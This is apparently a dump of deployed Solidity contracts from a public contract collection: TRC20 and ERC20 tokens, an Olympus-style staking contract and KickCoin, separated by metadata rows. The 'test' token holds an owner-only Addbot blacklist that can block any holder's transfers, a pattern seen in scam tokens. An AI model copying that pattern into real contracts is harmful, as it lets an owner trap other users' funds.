function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract TRC20Mintable is TRC20, MinterRole {
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
contract TRC20Capped is TRC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0, "TRC20Capped: cap is 0");
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap, "TRC20Capped: cap exceeded");
super._mint(account, value);
}
}
contract Tewkenaire is TRC20Detailed, TRC20Capped {
uint64 constant public miningRate = 25e11;
constructor () TRC20Detailed("Tewkenaire", "TEWKEN", 6) TRC20Capped(1e14) public {}
function getMiningDifficulty() public view returns (uint256) {
return (totalSupply().div(miningRate).add(1));
}
}
| 284,314 | 11,269 |
866a9534ff653cd3d453c55540743ef14f2344f2f5dc0a2cfe67566e61900332
| 13,884 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/53/53d409a635deafb1995b010f208f901f14b78794_test.sol
| 3,701 | 13,288 |
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract test is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "test";
string private constant _symbol = "test";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x19492bce8c9859a556Be5FF0e0bce14bfa77afD7);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
uniswapV2Router = _uniswapV2Router;
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(20).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
}
function Addbot(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 89,226 | 11,270 |
c6c665ee19147dc6dcbf86c08b2c4dc80c2e741cd49cc0f5f440ef4896bf3006
| 27,111 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/24/24Afb8fc52FecAeBCec4f1908C2D8cE396A93C05_OlympusStaking.sol
| 4,141 | 16,494 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsOHM {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract OlympusStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable sOHM;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _OHM,
address _sOHM,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_OHM != address(0));
OHM = _OHM;
require(_sOHM != address(0));
sOHM = _sOHM;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(OHM).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsOHM(sOHM).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sOHM).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsOHM(sOHM).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsOHM(sOHM).balanceForGons(info.gons));
IERC20(OHM).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sOHM).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(OHM).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsOHM(sOHM).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsOHM(sOHM).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsOHM(sOHM).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(OHM).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sOHM).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sOHM).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 103,859 | 11,271 |
c575f67c3722e35f2f72a6bd0b92beb007a5f3fd6198d00bd7284f734a6eaade
| 12,882 |
.sol
|
Solidity
| false |
367422064
|
YuGer26/ERC20-List-All
|
4f93234ff8de0cddf2ca81994275768250f2b1b7
|
erc20/KickCoin(KICK)_0x27695e09149adc738a978e9a678f99e4c39e9eb9.sol
| 4,463 | 11,479 |
pragma solidity ^0.4.2;
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
function changeOwner(address newOwner) onlyOwner {
owner = newOwner;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract tokenRecipient {function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData);}
contract Utils {
function Utils() {
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
// verifies that the address is different than this contract address
modifier notThis(address _address) {
require(_address != address(this));
_;
}
// Overflow protected math functions
function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
function safeSub(uint256 _x, uint256 _y) internal returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
}
contract CSToken is owned, Utils {
struct Dividend {uint256 time; uint256 tenThousandth; uint256 countComplete;}
string public standard = 'Token 0.1';
string public name = 'KickCoin';
string public symbol = 'KICK';
uint8 public decimals = 8;
uint256 _totalSupply = 0;
bool public allowManuallyBurnTokens = true;
mapping (address => uint256) balances;
mapping (address => mapping (uint256 => uint256)) public agingBalanceOf;
uint[] agingTimes;
Dividend[] dividends;
mapping (address => mapping (address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event AgingTransfer(address indexed from, address indexed to, uint256 value, uint256 agingTime);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// triggered when the total supply is increased
event Issuance(uint256 _amount);
// triggered when the total supply is decreased
event Destruction(uint256 _amount);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
address[] public addressByIndex;
mapping (address => bool) addressAddedToIndex;
mapping (address => uint) agingTimesForPools;
uint16 currentDividendIndex = 1;
mapping (address => uint) calculatedDividendsIndex;
bool public transfersEnabled = true;
event NewSmartToken(address _token);
function CSToken() {
owner = msg.sender;
// So that the index starts with 1
dividends.push(Dividend(0, 0, 0));
// 31.10.2017 09:00:00
dividends.push(Dividend(1509440400, 30, 0));
// 30.11.2017 09:00:00
dividends.push(Dividend(1512032400, 20, 0));
// 31.12.2017 09:00:00
dividends.push(Dividend(1514710800, 10, 0));
// 31.01.2018 09:00:00
dividends.push(Dividend(1517389200, 5, 0));
// 28.02.2018 09:00:00
dividends.push(Dividend(1519808400, 10, 0));
// 31.03.2018 09:00:00
dividends.push(Dividend(1522486800, 20, 0));
// 30.04.2018 09:00:00
dividends.push(Dividend(1525078800, 30, 0));
// 31.05.2018 09:00:00
dividends.push(Dividend(1527757200, 50, 0));
// 30.06.2018 09:00:00
dividends.push(Dividend(1530349200, 30, 0));
// 31.07.2018 09:00:00
dividends.push(Dividend(1533027600, 20, 0));
// 31.08.2018 09:00:00
dividends.push(Dividend(1535706000, 10, 0));
// 30.09.2018 09:00:00
dividends.push(Dividend(1538298000, 5, 0));
// 31.10.2018 09:00:00
dividends.push(Dividend(1540976400, 10, 0));
// 30.11.2018 09:00:00
dividends.push(Dividend(1543568400, 20, 0));
// 31.12.2018 09:00:00
dividends.push(Dividend(1546246800, 30, 0));
// 31.01.2019 09:00:00
dividends.push(Dividend(1548925200, 60, 0));
// 28.02.2019 09:00:00
dividends.push(Dividend(1551344400, 30, 0));
// 31.03.2019 09:00:00
dividends.push(Dividend(1554022800, 20, 0));
// 30.04.2019 09:00:00
dividends.push(Dividend(1556614800, 10, 0));
// 31.05.2019 09:00:00
dividends.push(Dividend(1559307600, 20, 0));
// 30.06.2019 09:00:00
dividends.push(Dividend(1561885200, 30, 0));
// 31.07.2019 09:00:00
dividends.push(Dividend(1564563600, 20, 0));
// 31.08.2019 09:00:00
dividends.push(Dividend(1567242000, 10, 0));
// 30.09.2019 09:00:00
dividends.push(Dividend(1569834000, 5, 0));
NewSmartToken(address(this));
}
modifier transfersAllowed {
assert(transfersEnabled);
_;
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = _totalSupply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
bool allAgingTimesHasBeenAdded = false;
function addAgingTime(uint256 time) onlyOwner {
require(!allAgingTimesHasBeenAdded);
agingTimes.push(time);
}
function allAgingTimesAdded() onlyOwner {
allAgingTimesHasBeenAdded = true;
}
function calculateDividends(uint256 limit) {
require(now >= dividends[currentDividendIndex].time);
require(limit > 0);
limit = safeAdd(dividends[currentDividendIndex].countComplete, limit);
if (limit > addressByIndex.length) {
limit = addressByIndex.length;
}
for (uint256 i = dividends[currentDividendIndex].countComplete; i < limit; i++) {
_addDividendsForAddress(addressByIndex[i]);
}
if (limit == addressByIndex.length) {
currentDividendIndex++;
}
else {
dividends[currentDividendIndex].countComplete = limit;
}
}
function receiveDividends() public {
require(now >= dividends[currentDividendIndex].time);
assert(_addDividendsForAddress(msg.sender));
}
function _addDividendsForAddress(address _address) internal returns (bool success) {
// skip calculating dividends, if already calculated for this address
if (calculatedDividendsIndex[_address] >= currentDividendIndex) return false;
uint256 add = balances[_address] * dividends[currentDividendIndex].tenThousandth / 1000;
balances[_address] = safeAdd(balances[_address], add);
Transfer(this, _address, add);
Issuance(add);
_totalSupply = safeAdd(_totalSupply, add);
if (agingBalanceOf[_address][0] > 0) {
agingBalanceOf[_address][0] = safeAdd(agingBalanceOf[_address][0], agingBalanceOf[_address][0] * dividends[currentDividendIndex].tenThousandth / 1000);
for (uint256 k = 0; k < agingTimes.length; k++) {
agingBalanceOf[_address][agingTimes[k]] = safeAdd(agingBalanceOf[_address][agingTimes[k]], agingBalanceOf[_address][agingTimes[k]] * dividends[currentDividendIndex].tenThousandth / 1000);
}
}
calculatedDividendsIndex[_address] = currentDividendIndex;
return true;
}
function transfer(address _to, uint256 _value) transfersAllowed returns (bool success) {
_checkMyAging(msg.sender);
if (currentDividendIndex < dividends.length && now >= dividends[currentDividendIndex].time) {
_addDividendsForAddress(msg.sender);
_addDividendsForAddress(_to);
}
require(accountBalance(msg.sender) >= _value);
// Subtract from the sender
balances[msg.sender] = safeSub(balances[msg.sender], _value);
if (agingTimesForPools[msg.sender] > 0 && agingTimesForPools[msg.sender] > now) {
_addToAging(msg.sender, _to, agingTimesForPools[msg.sender], _value);
}
balances[_to] = safeAdd(balances[_to], _value);
_addIndex(_to);
Transfer(msg.sender, _to, _value);
return true;
}
function mintToken(address target, uint256 mintedAmount, uint256 agingTime) onlyOwner {
if (agingTime > now) {
_addToAging(owner, target, agingTime, mintedAmount);
}
balances[target] = safeAdd(balances[target], mintedAmount);
